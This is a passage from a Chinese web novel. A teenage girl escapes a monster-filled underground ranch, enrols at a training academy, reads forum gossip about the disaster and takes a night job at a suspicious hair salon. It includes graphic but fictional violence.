老妇人抬手割了块猪肉,又不知道从哪掏出来一副刀具,回到餐桌前坐下。
她在和围栏里的生物共进晚餐。
江赛意识到这一点的时候,餐桌那突然“哐当”一声。
是老妇人的刀具落地,她似乎愣了一下,随即慢慢弯腰,去捡地面的刀具。
江赛心头一紧,立刻翻身滚进床底最里面,贴着墙,穿过缝隙抓住床边。
正要把自己拖起来,手指刺痛,一脱力,整个人软绵绵地摔在地上。
床缝里突然落下张轻飘飘的照片。
江赛动作一顿,拿起脸上的照片。
床底光线昏暗,她看不清楚,只隐约看见照片上两个人影。
她眯着眼睛,侧过脑袋,借着缝隙照进来的光线。
照片上一大一小的身影,是个女人抱着孩子,笑得一脸灿烂。
背后是个大型的旋转木马,再后面就是一望无际的草原。
江赛盯着那张照片没动,她转头看向那边弯腰又起身的老妇人。
这照片看着有些久远,她一时还分不出那老妇人是上边的母亲还是女儿。
门外传来撞击声。
老妇人手里的刀顿了一下,她没有回头,继续割肉,送进嘴里。
两双腿已经软成一滩,江赛老实趴在地上,等着它们慢慢凝集。
等她趴到手脚发麻,老妇人终于放下刀。
她站起身,走到围栏前,一动不动地站在那里,看着里面那团肉山。
撞击声又响了几下,江赛突然想起萍姐还在外面。
边上那小怪物虽然可怕,但似乎是真的在护着萍姐,可外边那三个疯子……
江赛缩在床底,每隔一会儿探出半个脑袋,看一眼老妇人的背影。
老妇人还是不动,像是站着睡着了。
江赛屏住呼吸,从床底爬出来,她踮着脚,一步一步,贴着墙根往门口跑。
木门从上面插上,江赛推了推,打不开,那插销在头顶。
她想了想,跑到房间那头的木桌前,跳起来爬上桌子。
头顶是那具被吊起来的猪人,已经只剩半扇了,血都流干了。
江赛跳起来,抓住猪人的蹄子,往上爬。
猪人的尸体晃了一下,她立刻停住,回头看老妇人。
等爬到猪人背上,她深吸一口气,身子一荡,跳到边上最高的柜子上。
站得高,看得远。
江赛终于完全看清了围栏里的情形。
围栏里面,边上铺了些干草和旧衣服,四周糊满了褐色的分泌物和肉块。
正中间躺着一个巨大的猪人,比外面那只大好几倍,褶皱的肉更肥厚,远远看过去就是一个光秃秃的肉山。
猪人脸上的肥肉堆积得太厚,已经看不出眼睛。
但老妇人一靠近,那猪人就动了。
老妇人慢慢弯下腰,低下脑袋。
她这一动,里面的怪物就开始躁动,抖着浑身的肥肉变得狂躁不安,脑袋里发出哼哼声。
“啊啊啊……”
江赛觉得那怪物是看见她了。
但老妇人显然不知道江赛的存在。
她连忙抬手,喉咙里发出“啊啊啊”的声音,似乎想安慰那怪物。
怪物越发躁动,老妇人也变得狂躁。
她转身冲出门,门外传来噼里啪啦的声响。
江赛探出头,刚想跳下去,木门那儿又走进来三个人。
是那三个疯子。
周俊走在最前面,身后跟着刘亚东,他半边脑袋缠着白布,血已经把布浸透了,整张脸白得吓人。
这货居然还没死。
最后面的是陈秀英。
她脸色很不好看,进门后还顺手把门关上了。
10. 第七堆填区(九)
老妇人满身鲜血冲进来的时候,江赛已经被甩进围栏里。
折断的右手垂在胸口,随着她的动作左右晃动。
江赛摸着墙壁站起,正好看见门口的老妇人,举着那把滴血的杀猪刀,皱巴巴的脸上布满了新鲜的抓痕,一条条血印横跨整张脸,皮肉翻卷惊心动魄。
她浑浊的眼睛在屋内飞快扫视一圈,最后锁定了正与两人一起包围江赛的陈秀英。
“啊!!!”
老妇人发出嘶哑的尖叫,举刀就冲。
陈秀英还没反应过来,后背结结实实挨了一刀,刀锋从肩胛劈下,鲜血瞬间喷涌。
“啊——”陈秀英惨叫一身,整个人一歪,被砍倒在地。
刘亚东走在最前面,刚刚伸手要抓江赛,听到惨叫声,猛地回头,“秀英!”
他立刻放弃了江赛,转身冲过去救陈秀英。
围栏里,那座巨大的肉山怪物正躁动不安。
他一直在等。
那张巨大的嘴张得老大,像一个黑漆漆且深不见底的黑洞,里面散发出浓烈的腐臭味,正对着江赛的方向。
江赛捂着手臂,立刻就想起之前看到的画面。
这鬼东西……不会是等着她自己跳进去吧?
她没搭理它。
只是贴着围栏的边缘,往边上挪。
怪物没等到她,开始急躁地哼哼叫,巨大的身体笨拙地扭动。
它的动静吸引了老妇人的注意。
老妇人一边挥刀逼退刘亚东,一边往围栏那边看。
江赛的身影被怪物挡得严严实实,她只能看见焦躁扭动的怪物。
这让她更加狂躁,更加疯狂地砍向陈秀英和刘亚东。
围栏里,那怪物等得不耐烦了。
它笨拙地转动那庞大的身体,一只肥厚的大手朝着江赛的方向压下来。
江赛就地一滚。
“砰!!”
那手掌砸在她刚才的位置,整个地面都抖了一下。
她刚爬起来,周俊就冲过来了。
他没管那边正被老妇人追着砍的同伴,眼睛里只有江赛,那张清秀的脸上,狂热的光芒烧得比任何时候都亮。
绕过肉山,他冲到江赛面前,伸手就抓。
江赛握着那块一直攥在手里的石片,对着他疯狂划拉。
石片锋利,一刀就是一道血口。
眨眼间,刚刚勉强衣衫整齐的男人瞬间满身是血。
但他却像是感觉不到疼痛,直直冲向江赛,抬手抓住她折断的右手用力一拉。
江赛痛呼一声,下意识跟过去,下一秒她的脖子就被紧紧掐住。
“你是我的!!”他嘶吼着,抡起她,朝着身后的肉山,狠狠砸了过去!
砰——!!
江赛的身体撞上那团柔软的肥肉,整个肉山都被撞得剧烈抖动。
怪物发出一声凄厉的惨叫,庞大的身体往后一滚,和江赛一起,狠狠撞上后面的墙壁。
整面墙壁立刻跟着剧烈的颤抖。
“嗷——”
老妇人听见这声惨叫,猛地回过头。
只看到自己的宝贝压在墙上,疯狂的惨叫。
她的眼睛瞬间红了。
她拔出砍在陈秀英身上的刀,朝着周俊疯狂砍过去。
“啊啊啊啊——”
杀猪刀带着风声,朝着周俊的脑袋直直劈下。
周俊侧身躲开,刀锋擦着他的脸划过,削下一片皮肉。
江赛从那团恶心的肥肉里挣脱出来,嘴角全是血,眼前一阵阵发黑。
她抬手擦了嘴角的血迹,跌跌撞撞地冲向门口。
老妇人看都没看她,全部的仇恨都集中在周俊身上,一刀接一刀,疯子一样地砍向他。
墙还在剧烈地抖动,甚至于整个地面也在跟着摇摆。
木门那里,站着一个人。
是萍姐。
不知道什么时候醒的,她站在那,右手扶着门框,左手抱着一个残缺的小身影。
萍姐看到江赛,嘴唇动了动,不敢出声,只是拼命地挥手。
过来!快过来!
江赛冲过去。
经过刘亚东身边时,她脚步一顿。
刘亚东正跪在地上,抱着昏迷不醒的陈秀英,手忙脚乱地想给她止血。他半边脑袋还缠着渗血的白布,整个人狼狈不堪,根本没注意到江赛。
江赛侧头,看向木桌上先前老妇人用来吃饭的刀叉。
她抬起左手,抓起刀,在萍姐震惊的目光中,转身,冲向刘亚东。
刀锋轻盈地刺向刘亚东。
他甚至没有反应过来,只是下意识捂住那半边脑袋,茫然地抬起头,看了江赛一眼。
接着高大的身体一抖,倒在陈秀英身边。
……
走廊外已经陷入彻底的混乱。
所有的隔间门都在疯狂震动,里面的怪物发了疯一样撞击围栏,想要冲出来。
连那些原本一直侧卧不动的大猪人,此刻全都站了起来。
头顶上,已经开始有碎石块往下掉。
“这里要塌了!”
“快跑!”
两个人互相搀扶,跌跌撞撞地往外冲。
身后,隔间门一扇接一扇被撞开,怪物们冲出来了,掐着嗓子嚎叫。
碎石越掉越多,砸在她们身边,砸在地上,砸出一个个坑。
管道口!
先前爬进来的管道口就在前面!
江赛第一个钻进管道,转身去接抱着怪物的萍姐。
管道里一片漆黑,因为不停地抖动,两人爬了没几步又开始往下滑。
身后,整个地下空间都在塌陷,震耳欲聋的轰鸣声中江赛似乎听到有人在喊她。
她头也没回,冲出管道,又回头拉了把萍姐,两个人艰难的钻出铁网。
轰隆———
已经塌陷过的地面,像一张被撕裂的巨口,再次疯狂地向下凹陷。
漫天灰沙中,那些微弱的银光被黑暗吞没。
江赛和萍姐趴在铁丝网外的地上,看着眼前的深渊,大口喘着气。
尘土漫天,遮天蔽日。
等烟尘渐渐散去,游乐场已经彻底消失了,只剩下一个深不见底的坑。
“逃,逃出来了?”
萍姐撑着地,看了看四周,又看向身边的江赛,似乎不敢相信自己还活着。
她喝了恢复剂,此时身上的伤口已经好了大半,连之前重伤的右腿都有了力气。
只是……
江赛躺在那儿没动,灰头土脸,满身伤痕。
乱糟糟的黑发,折断的手臂,破烂的衣服,浸满不明液体的伤口,和那鼻子下边那一大摊干涸的血迹。
等等……
“你,你变回来了?!”
躺在地上喘息的人一顿,这才抬手,摸了摸自己的耳朵。
还真是!
她的大耳朵先前被划开一道巨大的伤口,此刻变回原样后,耳朵上只剩下指甲盖大小的划痕。
她又伸手,摸了摸鼓鼓囊囊的裤兜。
还在还在。
这下江赛可开心了。也不知道哪来的力气,她撑着地站起来,挥挥手就要走,生怕再碰上什么倒霉玩意儿。
“那它……”
“嗯?”江赛回头。
只看见先前那小怪物坐在地上,瘪了的脑袋勉勉强强被脖子上一点肉挂着。
她愣了一下。
她刚才没注意,萍姐什么时候变得这么大胆了?这吓人的模样,居然抱着跑了一路。
“刚刚在地下的时候……是它救了我……”
萍姐的声音还有些发抖,一想到那老妇人举着刀冲向自己时面目狰狞的样子,她就止不住打哆嗦。
“你要把它带出去?”江赛问。
“不,不是!”萍姐连忙否认。
带这个怪物出去?外面的人不得吓死。
“那你把它抱出来干嘛?”江赛不理解。
她蹲下身,歪着脑袋打量这小怪物奄奄一息的模样。
她已经变回人形,小怪物似乎察觉到陌生的气息,有气无力地龇起嘴角,露出那几颗残缺的牙。
不管怎么样,这家伙好歹救了她们。
“看起来好像不行了。”江赛想了想,抬起头,认真地征求萍姐的意见,“你想把她带出去吗?”
萍姐的嘴唇动了动,好一会儿,才哑着嗓子重复,“它……它救了我,在地下的时候,那老妇人冲过来,是它挡在前面……”
江赛没说话。
那小怪物哼唧着,每呼吸一次身体就轻微地抽搐,尽管如此,它依旧尽力地抬手,想要抓住眼前的敌人。
在它还在努力的时候,江赛伸手了。
她从旁边捡了块石头。
“你——”
萍姐还没来得及说话,她已经手起石落,将地上的小怪物分了两截。
见它彻底没了动静,江赛便丢下石头,拎着怪物走向边上的土坡。
她蹲下身,开始用唯一完好的左手刨地上的土。
刨了一会,看着后边还在发愣的萍姐叹了口气,“萍姐,来帮帮忙,我还残着呢。”
就她这一只手,得刨
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到什么时候去。
萍姐应了声,也跟着跪下来,两个人一句话没说,就那么一捧一捧地把土盖上。
土包不大,很快就堆好了。
江赛站起来,拍了拍手,“走吧。”
萍姐还蹲着,盯着那个小土包看。
江赛低头看了她一眼,“它救了你,你就把它埋好了。”
萍姐沉默了一会儿,终于站起来。
……
天已经大亮。
江赛站在熟悉的灯牌下,只觉得恍如隔世。
老A在售票处清点金币,对面两人狼狈不堪,看着像垃圾堆里爬出来的野人。
第一眼见到她们的时候,哪怕是见多识广的仿生人都愣了一下。
“JD648732,工作时间一天,薪资三万金币。”“JD648731……工作时间……六天,薪资十八万金币。”
江赛点点头,没说话,又从兜里掏出个鼓鼓的袋子。
“这是什么?”萍姐问。
“好东西。”江赛说完,扯开袋子。
许多圆球聚集在一起,依旧在太阳底下散发着微弱的银光。
“蜂巢?!”萍姐一脸震惊的看着她。
她衣服破成这样,哪里藏的东西?什么时候藏的?
江赛没说话,勾着嘴角蹲在地上,兴奋地开始数铁球。
“一个,两个,三个……”
数完一轮,她抬起头问老A,“一个一万?”
没等老A说话,边上的萍姐轻声提醒,“两万。”
江赛点点头,又低下头。
“两万,四万,六万……”
来来回回数了几轮,她才将蜂巢装回袋子,站起身,交给老A。
老A接了袋子,盯着她看了会儿,才走回售票处。
过了会,又端着个更大的铁箱走出来。
“兑换金币六十四万。”
江赛打开铁盒,里面的金币比她手上的稍大一些,上面还刻了字,在太阳底下闪着光。
她全倒出来数了数,整整六十四枚大金币。
干完这些,她挑出一半放进萍姐的盒子里,才把铁盒关上。
“这?”萍姐低头看着怀里的铁盒,嘴唇动了动,想说点什么。
三十二枚大金币,她这辈子都没见过这么多钱。
“别。”江赛抬手打断她,“你开口我就不给了。”
本来就肉疼,她再客气,不是逼着她独吞吗?
萍姐张了张嘴,又闭上。
“你女儿病了,男人不管,又欠一屁股债,还客气什么?”
江赛拿她之前搪塞三人的话来堵她。
萍姐一愣,瞬间就明白了她的意思,也没再推脱,收了金币望着她。
江赛把铁盒抱起,“走了。”
萍姐:“你手都这样了,不去医院?”
江赛低头看了眼自己那截歪着的右手,皱皱眉,“没钱。”
她总共就赚了五十,交完学费,也还有得花钱的地方。
之前那个网吧边上有个小药店,她准备到那儿去买些药,按照之前在监狱里的康复速度,她相信自己身体的抗造能力。
“我知道个地方。惠民医站,看病不要钱。”
江赛看了她一眼,“不要钱?”
“嗯,政府设的,专门治被异种咬的。后来……”萍姐顿了顿,“反正穷人都去。”
江赛想了想,点点头。
她是穷人,她也要去。
两人坐了一个多小时的公交。
江赛靠着窗户,断掉的手搁在腿上,随着车一晃一晃的,疼得她直吸冷气。
公交出了堆填区,边上的景色变得十分热闹。
下车之后又走了半条街,终于看到那个褪了色的红十字棚子。
棚子下面排着二十多号人。
捂着胳膊的,拄着拐的,还有躺在地上哼哼的。
萍姐扶着江赛刚站过去,前面的人回头看了一眼,然后愣住了。
小的一身破布烂条,脸上糊着干涸的血,右手歪着。大的一脑袋的血,整张脸白得吓人。
“我操,这他妈是被异种啃了吧……”
队伍自动让开一条道。
里头出来个护士,看了两人一眼,二话不说把她们拉进去了。
里面是个巨大的棚子,密密麻麻摆了几十张床。
江赛被按在一张床上,一个中年医生走过来,翻了翻她的眼皮,又捏了捏她那截断掉的右手。
萍姐在她旁边,搓着身下的被子感慨,“以前来要排几个小时呢,没想到这次这么快……”
11. 论坛首页
鹿河第一训练学院。
校门口,还是那张熟悉的破桌子,后面趴着的上次那个一脸不耐地负责人。
“老师,我来报名。”
正打盹的孔丘被惊醒,趴在桌子上头也不抬,“捡垃圾去那边……”
话说到一半,他抬起头,看清了眼前的人,剩下的话卡在了喉咙里。
“是你?”他瞪大了眼睛,上下打量着江赛,脸上写满了愕然。
她换了件不合身的衣服,右手被缠着吊在胸前,半个脑袋都被藏在绷带下,露出来的另一半,青一块紫一块的。
要不是那一头乱糟糟的短发,他还认不出来呢。
这是取钱还是逃难去了?
对方把铁盒往桌上重重一放,十分豪气,“交钱!”
“……”
她以为她是来消费的吗?
孔丘接过铁盒,打开看了一眼,又从抽屉里翻出江赛上次填的那张已经有些卷边的报名表,拿出公章,“啪”地一声,用力盖了下去。
“行了,”他把表格推还给江赛,语气复杂,“手续齐了,下周一早上,带上这个来学院报道,记得别迟到了。”
江赛接过表格,看着上面鲜红的印章,心底那根绷了许久的弦,似乎终于稍微松了那么一丝丝。
报上名,心头最大的一块石头落地。
只是一想到原本满满当当的小金库瞬间空了,她就有些心痛。
萍姐说第七区每次上班前都要重复报名,还不一定能选上,她一次性在里面待了五天,甚至还结算了工资,已经是走了狗屎运。
现在她出来了,再进去也要重新报名。
江赛又去了那个小巷子,熟练的交了金币,打开电脑。
害怕又被偷拍做工牌,她还特意理了理头发。
只是这次,她点开论坛首页提交信息之后,原本亮着的按钮,变成了灰色,下面多了一行小字:
“该区域暂不开放,点击查看公告”
点进小字是个简短的官方通知:
因区域设施维护,第七堆填区即日起暂停临时工招募。恢复时间另行通知。
江赛愣了,又看了看那排通知。
她失业了?
不是鹿河最赚钱的工作吗?
没了这财神爷,她可怎么活啊?
江赛捂着胸口,一脸痛心疾首。
她是真的难受了,连带着桌子下的两条腿,都跟着轻飘飘的浮动。
好一会儿,她收拾好心情,准备上公共问答版问问其他工作。
刚刚点开搜索界面,她发现论坛上那几个版块变亮了。
犹豫了会儿,江赛试着点击了下鹿河那个板块分区。
屏幕上弹出个人像扫描,还没等她反应过来,一道红光从她脸上扫过。
“滴,扫描成功。”
屏幕边角那个一直灰着的“身份中心”图标亮了。
她愣了愣,点进去。
页面上弹出几行字:
姓名:江赛
身份:鹿河第一学院第三十九期训练生(已录取)
年龄:14
性别:女
过往记录:联邦第六等公民(在押服刑人员)→第五等公民(训练学院预备生)
都是公开信息,她盯着看了几秒,又退出去。
鹿河基地的版块主页弹出来。
最上面是一排信息条,滚动播放着各种公告通知和紧急消息。
她往下拉。
居然全是第七区有关的通知。
【紧急】第七堆填区发生重大事故,即日起全面封锁
【通报】关于第七区异常生物出没的初步调查说明
【提醒】请市民勿靠近第七区周边区域
她点进最热的那条帖子。
标题写着:《有人今天报名第七区成功了吗?》
帖子已经盖了几千楼。
她往下翻:
【楼主:如题,今天报名页面一直打不开,有人报上了吗?】
【3L:报个屁,我早上刷到现在,一直是灰的】
【10L:灰的都是好的,我直接404了】
【46L:你们还想着报名呢?没看新闻?第七区被封了】
【楼主:啊?啥时候的事?】
【96L:就昨天吧,管理局的人把整个区围起来了,只进不出啊】
【105L:我表哥昨晚还在里面上夜班,到现在没回来,电话打不通】
【225L:楼上你认真的?那你还不报警?】
【235L:报了,人家说正在处理,让我等消息,还等个屁,我嫂子快急疯了】
【465L:我听说是里面跑出来东西了】
【555L:有人说是不人不鬼的,跑出来好几个】
【556L:好几个?我听到的版本是跑出来一堆】
【666L:你们别吓我,我上周刚从那离职】
【671L:楼上命大,请客】
翻到中间,有条回复被顶了上来,下面跟着一堆追问。
【700L:我姑父在管理局干活,他跟我妈说的,说那玩意儿是个猪人,半人半猪,老吓人了】
【706L:猪人???】
【723L:就是那种,站起来像人,趴下去像猪的】
【734L:楼上你形容得太具体了,你是不是见过?】
【799L:我见过,今天管理局带走了,超级大一只,就是一坨肉堆在一起的,妈的巨恶心】
【965L:我操,吃什么长大的?】
【1000L:吃什么?吃人吧】
【1332L:有人知道那玩意儿怎么来的吗?总不能凭空冒出来的吧】
【1356L:是不是以前政府发展养殖场漏的猪啊?】
江赛又往下翻了翻,正准备退出,突然看到几个眼熟的字。
【2042L:是不是无忧牧场?】
这不是她和萍姐进去的那个游乐场吗?
她继续点开,下面已经被最新的评论刷上来。
【2056L:什么东西?没听过】
【2066L:就是前些年政府想把经济拉起来,不是就学着第七粮仓搞了个牧场吗?就建在堆填区那里,之前叫第七区。】
【2070L:笑死,名字也学人家的】
【2095L:我奶以前在哪里干过,就是养猪放羊什么的,刚开始还挺好的,工资高,而且干活也不累,还包吃住,那时候招了好多女的去。】
【2155L:为啥专招女的?】
【2243L:不知道,可能是女的心细吧。反正我奶说那会儿好多女的带孩子去上班,牧场上面还专门修了个游乐园。】
【2356L:我靠,带孩子上班?还有游乐园?这什么神仙工作。】
【2359L:现在还有吗?我不带孩子,我带狗行不行?】
【2360L:楼上醒醒,那都多少年前的事了】
【2459L:牛马落泪】
【2698L:所以后来那个牧场为啥不开了?】
【2768L:说什么是因为有个员工的孩子被里面的猪吃了。】
【2869L:然后那女的跟疯了一样,天天闹,后来牧场就关了。】
【2880L:我去,是我我也要疯】
【2889L:然后那女的呢】
【2956L:不知道,可能疯了吧,反正再也没见过。】
江赛一条条往下翻,翻到最后,屏幕上的字密密麻麻。
那肉山是异种?
她突然想起之前在床底看见的照片,那个拿着刀的老妇人渐渐和上边抱着孩子的温柔女子对应起来。
她圈养的那个异种会不会就是当时吃掉孩子的猪?
不过看老妇人为异种紧张的模样,明明不是面对一个仇人的怨气,反倒像是在呵护自己脆弱的孩子,
江赛看完评论,退出帖子,又逛了逛版块里分类的工作贴。
招工的通知不少,只是都要手环验证,她虽然有了身份信息,却和黑户也差不多。
记得学院入学后会统一发放手环,只是离开学还有几天的时间,江赛并不打算闲着。
最重要的是,旅馆住宿实在是太太太贵了!!
谁能告诉她,一个小房间里摆张破铁床,住上一晚就要一千金币?!
贫民区不让住,让住的又住不起。
现在,只有找到一份包吃包住的工作,才能安抚她受伤的小心灵。
江赛在网吧里待了一下午,又去杂货铺里买了一箱合成罐头,在外面逛了逛,最后背着箱子回到网吧。
网吧老板看到她的时候明显愣了。
“包夜!”她把找零的金币往桌上一拍,“不用找了!”
网吧里一
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个金币一小时,她住上几天都用不上一千金币,更何况这里有电脑,也方便她查资料。
她实在佩服自己长了个精打细算的脑子。
有了身份信息,她在论坛上一边找工作,一边仔仔细细的了解了这个世界的背景和基地分区。
联邦177年,世界开始毫无征兆地爆发生物异变,动植物在未知力量下扭曲、合成,催生出无数个形态可怖的新型异变生物。
为了生存,联邦高级政府建立了受保护的人类基地。
不久后,联邦中央生物研究院推出了生物基因药剂,同年宣布基因融合实验成功,药剂开始投入应用。
政府组建了特种队,依靠成功融合基因的异能者清除基地内的异种,守护公民安危。
而她入学的第一学院,专门负责训练融合基因药剂成功的基础异能者。
基础异能者无非是比普通人的力气大一些,速度快一些,依靠注射的药剂不同,有些人则可以获得兽化的基础异能。
江赛看着大屏幕上的比赛视频,微微皱起眉头。
很明显,兽化异能在训练生里更受欢迎一点。
这不仅仅是比其他人多了些力气。赛场上,那个训练生的双手完全变化成结实的兽爪,只轻轻一扬,就把整个墙面震得粉碎。
对手很明显招架不住那样强大的力量,他的异能和江赛一样,是疾速。
只是,拥有兽化异能的训练生,变化的不仅是外貌,整个力量和速度都有了质的飞升。
不一会,对手就被甩飞,砸在地面,没了动静。
太残暴了。
谁能想象,这是训练学院的内部比赛视频。
一群朝气蓬勃的年轻人,圈在一个围场里厮杀,这哪里是学员考试,分明是斗兽场里的生死赛。
两年一次的学员考是各地学院一起统一的比赛,据说通过的训练生可以提前报名毕业时的学院考。
赛场里在欢呼,视频底下的评论也在欢呼。
直言这将会是最有希望通过学院考的训练生,只是运气不好,撞上学院考后才入学。
江赛仔细一看,发现这是今年年初的学员考视频。
87年入学的训练生是最倒霉的,赶上了当年年末的学院考却参加不了。
通过了第二年初的学员考,也要在等三年。
只要通过三年一次的学院考,就有机会报名雾都的中央学院,而评论区对这个学院的狂热超乎想象。
江赛顺势看了看。
发现这才是真正的异能者就读的训练学院,全基地就此一所。
在入学前,所有的基础训练生会注射异变药剂,成功融合后,才会获得其他攻击性异能。
这就是尚医生让她进入的目标学院?
江赛放在光标上的手一顿,想起自己之前在监狱偷偷注射的异变药剂。
她的这种液化型异能……也是攻击性异能?
她点进各个基地版块,又搜索了论坛首页,始终没有找到有关液化的异能。
基础异能不是,异变药剂也查找不到,难道是?
太鸡肋,被淘汰了?
那也该有个历史记录吧。
……
江赛在网吧里泡了几天,最后被老板面无表情的赶了出去。
她抱着一盒子的空罐头,看着老板干脆地关上大门,临走时还怒气冲冲地瞪了她一眼。
这样的举动,对于一个开门做生意的店铺来说实在不太好,况且,她又不是没付钱。
江赛厚着脸皮追上去,“老板?不开了?”
“不开了!回老家,歇业几天。”
“别呀。”江赛立马说,“我帮您看店,免费看。”
老板又转头瞪了她一眼。
他就知道,这不知道哪里来的小屁孩就是来蹭地方的。
24个金币住一天,要是传出去,他的店铺都要成难民收容所了。
“你是不是找不到工作?”光头老板低头,看了眼她光秃秃的手臂。
“您要招我?”江赛问。
“……不是,你找工作去四区。”光头老板说,“铁锈河边上有条街,招人的地方不少。”
“四区在哪儿?”
“堆填区边上,去,坐到三岔口的公交,然后转车坐到南市场下车。”
江赛眼前一亮,道了谢抱着纸盒找路去了。
这盒子她留着回收,也能换些金币。
12. 新工作
之前萍姐带着她去过的惠民医站,就在光头老板说的四区。
由层层热闹非凡的小巷围叠成,两边是老旧的砖墙,墙根堆着纸箱和破自行车。头顶的电线乱七八糟缠成一团,里面挤满了各种小店铺。
杂粮摊,罐头铺,工具厂……什么都有。
一路看去,门口挂满了各式各样的招工广告。
只是这些工作不是已经招满,就是年纪不符。
江赛摇摇头,有些郁闷,从头到尾逛了两圈,最后在街尾发现个灯火阑珊的招牌。
——芳芳美发
闪亮的大招牌在小街上格外突出,下边还写着几个大字:
招工
月薪100000金币
招工牌上直截了当的注明了薪资,十万的工资比她刚刚问过的店铺都要高不少。
她探头往里看了看。
门帘是那种半透明的塑料条,一条一条垂下来,从外面看进去,什么都模模糊糊的。
江赛走上前,掀开帘子。
店铺里很冷清,一个洗头的客人都没有。
左边靠墙摆着几张躺椅,灰白色的皮面,有几个还裂了口子。右边的墙上挂着镜子,镜子前面是一排老旧的理发椅,椅背上的漆已经磨得发白。
一个女人坐在镜子前面的桌子上。
穿着碎花裙,一条腿垂着,另一条腿曲起来踩在桌沿。
她手里摇着一把蒲扇,扇得很慢,一下一下的,扇出来的风把自己额头上的碎发吹得一飘一飘的。
听见声响,她没往门口看,只摇着扇子问,“洗头啊还是按摩啊?”
江赛想了想,走进去,“找工作。”
听见这话,女人回过头,望着她。
她皮肤很白,巴掌大的一张小脸,下巴尖尖的,鼻梁上有一颗痣,一头卷发,蓬蓬松松堆在肩膀上,有几缕垂到胸前,有几缕搭在背后。
她打量了江赛一会,又问,“之前做过吗?”
江赛摇摇头。
“洗头会吗?”
这回江赛点点头。
“我这儿招夜工,晚上一个人在店里。”她顿了顿,“你多大了?”
“十四了。”江赛抬手挠了挠头,“爸妈死了,我出来赚钱糊口饭吃。”
女人望着她空荡荡的手腕,笑了声,抬脚走到她面前,亲昵的将手搭在她肩上,揽着她走进店里。
“理解,我这儿包住,就是不包吃。不过你可以到边上的小食堂里去打饭,方便的很,也不贵。”
她说这话的时候,带着江赛走到角落里的小门,拿了块脏毛巾擦着门把手。
“你白天就睡这里面,晚上到外面守店。”
擦干净把手,她打开门,指了指里面,“房间比较小,不过就你自己住,也够用。”
江赛探头往里看了看,房间确实很小,但五脏俱全。
衣柜,书桌和小床贴着摆放,干净整洁得很,这会儿没开灯,房间一片昏暗。
女人见江赛没说话,以为她嫌弃房间太小,就抬手拍了拍她的肩膀,“你一个人住,这房间可以了,我这儿的工资在这条街可是最高的。”
江赛点点头。
“那就行。”见她同意,女人关了门,把毛巾往柜台上一扔,“试用期三天,你没做过今天就先跟着我看看,晚上住里面,明天晚上正式上工。”
“你叫什么名字?”她问。
“江赛。”
“小江。”女人摆好椅子,又走到门口把门帘挂起,“叫我芳姐就行,现在店里没什么人,等会就忙起来了。”
她做完这些,又坐回桌子上,又招招手示意江赛坐过来。
“工作很简单,就是有些规矩,记住就行。”
“第一,晚上九点之后别进里屋去。”
“里屋是哪儿?”江赛问。
“就你那房间后边。”芳姐指了指刚才的小门,“那里边是放杂物的,平时会堆些机器,也没什么好看的。就是有些时候我会进去拿东西,你听见动静别管了。”
江赛点点头。
“第二,咱们店除了洗头,还有按摩,给客人做按摩的时候,你就在旁边站着,别盯着看。”
“我不用动手?”江赛问。
“不用你自己按。”芳姐指着角落里摞着的几个透明头套,“客人躺下,你把那个头套给他套上就行。打开开关,等十五分钟,然后关掉取下来。这段时间别和客人闲聊,也别盯着看。”
“为什么?”
芳姐看她一眼,“有什么好看的?那玩意儿有电,还有辐射,凑近了烫脸,还伤眼睛。”
“第三,要是有人问你这套子干嘛用的,你也别搭理她,就说自己只管洗头按摩。”
“别的呢?”
“没有别的。”芳姐看着她,“你不就在这儿洗头,按摩,收钱吗?别的不知道,没见过,没听过。”
江赛沉默了几秒。
芳姐皱着眉头骂。
“隔壁几个贱人,看见我生意好,老举报我头套不合规,想把我拉下门。”她说着嗤笑了声,“到时候他们进来你就赶走,其他的什么都别管。”
江赛抬头,看着这美人蹙眉冷笑的样子,“那要是有人问这头套是干嘛用的呢?”
“按摩用的啊。”芳姐说,“分解头皮污垢,促进毛囊生长。”
她说这话的语气很平静,像是背了八百遍的广告词。
“最后一条了啊。”
她又低头看着江赛,像是在打量一个普通的员工。
“你这手受过伤?”她指着江赛的右手,那根中指始终僵硬的绷直着,一看就不正常,“不影响干活吧?”
江赛顺势低头,看了看自己僵硬的中指,摇摇头,“能动,不影响。”
“那就行。”芳姐往后一靠,“你要是哪天不舒服了,不想干了,直接走就行,不用跟我说,也不用打招呼。”
江赛愣了一下,“为什么?”
“哪儿那么多为什么?”芳姐瞪了她一眼,“我这人不喜欢离别,你之后要走就走,还省得问我要工资。”
江赛没说话了,只觉得这老板娘的话有些古怪。
她跟着芳姐清闲的休息了几个小时,没有客人的时候,芳姐就坐在桌子上,一动不动的扇蒲扇。
来了客人,她就带着江赛,洗头、剪发、做造型。
确实是很简单的流程,在客人洗头的时候,芳姐也会推荐一些洗发产品和她的按摩头套。
她做这些的时候,江赛默默跟着,心里记下流程和话术,又眼疾手快的打扫好卫生。
两个人忙碌了一下午,芳姐望着她的眼神越发满意。
长得乖巧,年纪小,干活又机灵。
晚饭时,她甚至带着江赛去隔壁小食堂吃了顿丰厚的晚餐。
那顿有荤有素的晚餐,虽然比不上前世的食堂伙食,却是她出狱后第一顿正经饭,江赛吃的热泪盈眶。
“晚上小食堂关门了,你最好去边上的杂货铺囤点肉干,不然半夜饿了,店里也没吃的。”
吃过晚饭,芳姐把店铺钥匙甩给她,又交代了几句,就拎着小包走了。
江赛围着店铺转了几圈,又去边上的杂货铺准备买些罐头。
望着店外铁墙上琳琅满目的工具,她想了想,挑了把小巧的匕首。
和之前买的有些相似,只是更小些。
做完这些,她关了店铺,在小街上找了个网吧。
四区很热闹,连网吧里都坐满了人,上网的费用比之前贵了几个金币,江赛掏钱的时候心疼得不行。
点进鹿河的版块信息里,有关第七区的消息条已经撤下,与之相关的是鹿河第一学院即将开学的热议。
江赛随意翻了翻,发现上次她置顶的帖子又更新了。
新楼盖了几百层,她一次翻到最底下,几个热评吸引了她的注意力。
【楼主:家人们,楼主发现重磅消息!!第七区那怪物还活着,被管理局安排运到雾都去了。】
【3065L:我去,不是说塌完了吗?这都没死】
【3356L:为啥送到雾都去】
【3368L:人家要,管理局敢不给吗?】
【3386L:不是说还发现了个老太婆吗,老太婆呢】
【3560L:早死了吧,尸体都烧了。】
【3592L:发现没,这几天关于第七区的帖子都被撤了】
【3687L:真的,我也发现了,那为什么楼主的帖子还在?】
【楼主:是的,本尊亲自下场解惑了,楼主是信息处理系的,你们懂得哈~】
【3699L:666,小印币打赏一波。】
【3700L:楼主快黑进管理局,把真相告知天下!】
【3701L:顶】
【3702
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L:顶顶】
【3703L:顶顶顶】
